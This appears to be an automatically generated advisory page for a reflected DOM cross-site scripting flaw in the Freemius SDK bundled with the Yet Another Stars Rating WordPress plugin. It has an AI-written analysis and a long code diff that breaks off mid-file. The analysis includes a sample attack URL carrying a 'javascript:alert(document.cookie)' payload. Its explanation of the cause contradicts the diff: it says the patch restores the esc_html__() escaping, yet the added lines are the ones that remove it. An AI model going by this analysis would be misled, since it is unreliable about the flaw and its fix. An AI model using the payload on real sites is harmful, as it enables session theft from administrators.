Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (yet-another-stars-rating)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.4.12
Patched Version 3.4.15
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) affecting the Freemius SDK (versions up to 2.10.1) as bundled by multiple WordPress plugins and themes. The flaw allows unauthenticated attackers to inject arbitrary JavaScript into admin pages via the url parameter, exploiting insufficient input sanitization and output escaping. The CVSS score is 6.1 (Medium).

The root cause is the removal of `esc_html__()` calls on several text strings in the `YasrSettingsValues.php` file of the Yet Another Stars Rating plugin. Specifically, lines 81-92 strip the translation and escaping function from default option values: ‘text_before_overall’, ‘text_before_visitor_rating’, ‘custom_text_rating_saved’, ‘custom_text_rating_updated’, ‘custom_text_user_voted’, and ‘custom_text_must_sign_in’. When these unsanitized strings are later rendered in the admin interface (for example in Freemius SDK’s admin notices or account pages), the lack of escaping allows execution of injected scripts. The vulnerable parameters are handled by the Freemius SDK’s `_admin_notices` system and AJAX endpoints that process the url parameter without proper validation.

An attacker exploits this by crafting a malicious URL containing JavaScript payload in the url parameter and convincing a WordPress administrator to click it. The attack does not require authentication. For example, the attacker can use a URL like `https://target.com/wp-admin/admin.php?page=freemius-account&url=javascript:alert(document.cookie)`. When the admin accesses this link, the Freemius SDK processes the url parameter and uses it in a DOM context (like constructing a link or button) without escaping, causing the XSS payload to execute in the admin’s browser session.

The patch reinstates the `esc_html__()` calls in `YasrSettingsValues.php` and also adds similar escaping in other plugin files (including the Freemius SDK start.php). The removed escaping in the vulnerable version allowed raw untrusted strings to be stored as default option values. The patch ensures all default texts are properly escaped and translatable, preventing injection. Additionally, the Freemius SDK version bundled in the patch is updated from 2.9.0 to 2.11.0, which includes fixes for the parallel activation and admin menu logic, but the core XSS fix is the output escaping.

If successfully exploited, an attacker can execute arbitrary JavaScript in the context of the victim’s WordPress admin session. This can lead to creation of new admin accounts, injection of backdoors, exfiltration of sensitive data (like database credentials, API keys, user lists), and complete compromise of the WordPress site. Since the attack requires user interaction (clicking a crafted link), the actual risk depends on the social engineering vector, but the impact is severe for compromised admin accounts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/yet-another-stars-rating/includes/classes/YasrSettingsValues.php
+++ b/yet-another-stars-rating/includes/classes/YasrSettingsValues.php
@@ -81,17 +81,17 @@
         $options['show_visitor_votes_in_loop']   = 'disabled';
         $options['visitors_stats']               = 'yes';
         $options['allowed_user']                 = 'allow_anonymous';
-        $options['text_before_overall']          = esc_html__('Our Score', 'yet-another-stars-rating');
-        $options['text_before_visitor_rating']   = esc_html__('Click to rate this post!', 'yet-another-stars-rating');
+        $options['text_before_overall']          = 'Our Score';
+        $options['text_before_visitor_rating']   = 'Click to rate this post!';
         $options['text_after_visitor_rating']    = sprintf(
-            esc_html__('[Total: %s  Average: %s]', 'yet-another-stars-rating'),
+            '[Total: %s  Average: %s]',
             '%total_count%', '%average%'
         );
-        $options['custom_text_rating_saved']     = esc_html__('Rating saved!', 'yet-another-stars-rating');
-        $options['custom_text_rating_updated']   = esc_html__('Rating updated!', 'yet-another-stars-rating');
-        $options['custom_text_user_voted']       =
-            esc_html__('You have already voted for this article with rating ', 'yet-another-stars-rating') . '%rating%';
-        $options['custom_text_must_sign_in']     = esc_html__('You must sign in to vote', 'yet-another-stars-rating');
+
+        $options['custom_text_rating_saved']     = 'Rating saved!';
+        $options['custom_text_rating_updated']   = 'Rating updated!';
+        $options['custom_text_user_voted']       = 'You have already voted for this article with rating ';
+        $options['custom_text_must_sign_in']     = 'You must sign in to vote';
         $options['snippet_itemtype']             = 'Product';
         $options['publisher']                    = 'Organization';
         $options['publisher_name']               = get_bloginfo('name');
--- a/yet-another-stars-rating/includes/yasr-includes-defines.php
+++ b/yet-another-stars-rating/includes/yasr-includes-defines.php
@@ -36,7 +36,8 @@

 //Since version 3.3.0 the defines are inside a file, instead of a class, for better support PHPStorm auto-completion
 //https://youtrack.jetbrains.com/issue/WI-11390/Make-define-Constants-from-inside-methods-available-for-completion-everywhere.
-$settings              = new YasrSettingsValues();
+
+$settings = new YasrSettingsValues();
 $yasr_general_settings = $settings->getGeneralSettings();
 $style_options         = $settings->getStyleSettings();
 $multi_set_options     = $settings->getMultiSettings();
@@ -131,5 +132,5 @@
  */

 //Text for button in settings pages
-$save_settings_text = esc_html__('Save All Settings', 'yet-another-stars-rating');
+$save_settings_text = 'Save All Settings';
 define('YASR_SAVE_All_SETTINGS_TEXT', $save_settings_text);
--- a/yet-another-stars-rating/includes/yasr-includes-init.php
+++ b/yet-another-stars-rating/includes/yasr-includes-init.php
@@ -67,6 +67,7 @@
 //AutoLoad Yasr Classes, only when a object is created
 spl_autoload_register('yasr_autoload_includes_classes');

+
 //do defines
 require YASR_ABSOLUTE_PATH_INCLUDES . '/yasr-includes-defines.php';

@@ -87,4 +88,4 @@
 $yasr_init_ajax->init();

 //Load rest API
-require YASR_ABSOLUTE_PATH_INCLUDES . '/rest/yasr-rest.php';
 No newline at end of file
+require YASR_ABSOLUTE_PATH_INCLUDES . '/rest/yasr-rest.php';
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/entities/class-fs-plugin-plan.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/entities/class-fs-user.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-menu-manager.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-notice-manager.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/start.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );
+		$is_newest_sdk_path_valid = ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_starter_path );

 		if ( ! $is_newest_sdk_path_valid && ! $is_current_sdk_newest ) {
 			// Plugin with newest SDK is no longer active, or SDK was moved to a different location.
 			unset( $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ] );
 		}

-		if ( ! ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) ||
+		if ( ! ( $is_newest_sdk_module_active || $fs_active_plugins->newest->in_activation ) ||
 		     ! $is_newest_sdk_path_valid ||
 		     // Is newest SDK downgraded.
 		     ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
@@ -284,7 +346,7 @@
 			// Find the active plugin with the newest SDK version and update the newest reference.
 			fs_fallback_to_newest_active_sdk();
 		} else {
-			if ( $is_newest_sdk_plugin_active &&
+			if ( $is_newest_sdk_module_active &&
 			     $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path &&
 			     ( $fs_active_plugins->newest->in_activation ||
 			       ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) )
@@ -313,7 +375,7 @@
 		return;
 	}

-	if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
+	if ( isset( $fs_active_plugins->newest ) && version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) {
 		$newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ];

 		$plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ?
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/templates/forms/license-activation.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/templates/forms/license-activation.php
@@ -569,7 +569,7 @@
 				        licenseKey = $otherLicenseKey.val();
                     } else {
 				        if ( ! hasLicensesDropdown ) {
-                            licenseID = $availableLicenseKey.data( 'id' );
+                            licenseID = $availableLicenseKey.data( 'id' ).toString();
                         } else {
                             licenseID = $licensesDropdown.val();
                         }
--- a/yet-another-stars-rating/vendor/freemius/wordpress-sdk/templates/pricing.php
+++ b/yet-another-stars-rating/vendor/freemius/wordpress-sdk/templates/pricing.php
@@ -69,6 +69,11 @@

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );

+    $pricing_css_path = $fs->apply_filters( 'pricing/css_path', null );
+    if ( is_string( $pricing_css_path ) ) {
+        wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
+    }
+
 	$has_tabs = $fs->_add_tabs_before_content();

 	if ( $has_tabs ) {
@@ -95,6 +100,8 @@
             'unique_affix'           => $fs->get_unique_affix(),
             'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
             'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+            'plugin_icon'            => $fs->get_local_icon_url(),
+            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
         ), $query_params );

         wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );
--- a/yet-another-stars-rating/yet-another-stars-rating.php
+++ b/yet-another-stars-rating/yet-another-stars-rating.php
@@ -4,7 +4,7 @@
  * Plugin Name: Yet Another Stars Rating
  * Plugin URI: http://wordpress.org/plugins/yet-another-stars-rating/
  * Description: Boost the way people interact with your site with an easy WordPress stars rating system! With schema.org rich snippets YASR will improve your SEO
- * Version: 3.4.12
+ * Version: 3.4.15
  * Requires at least: 4.7
  * Requires PHP: 5.4
  * Author: YetAnotherStarsRating.com
@@ -76,7 +76,7 @@
     yasr_fs();
     // Signal that SDK was initiated.
     do_action( 'yasr_fs_loaded' );
-    define( 'YASR_VERSION_NUM', '3.4.12' );
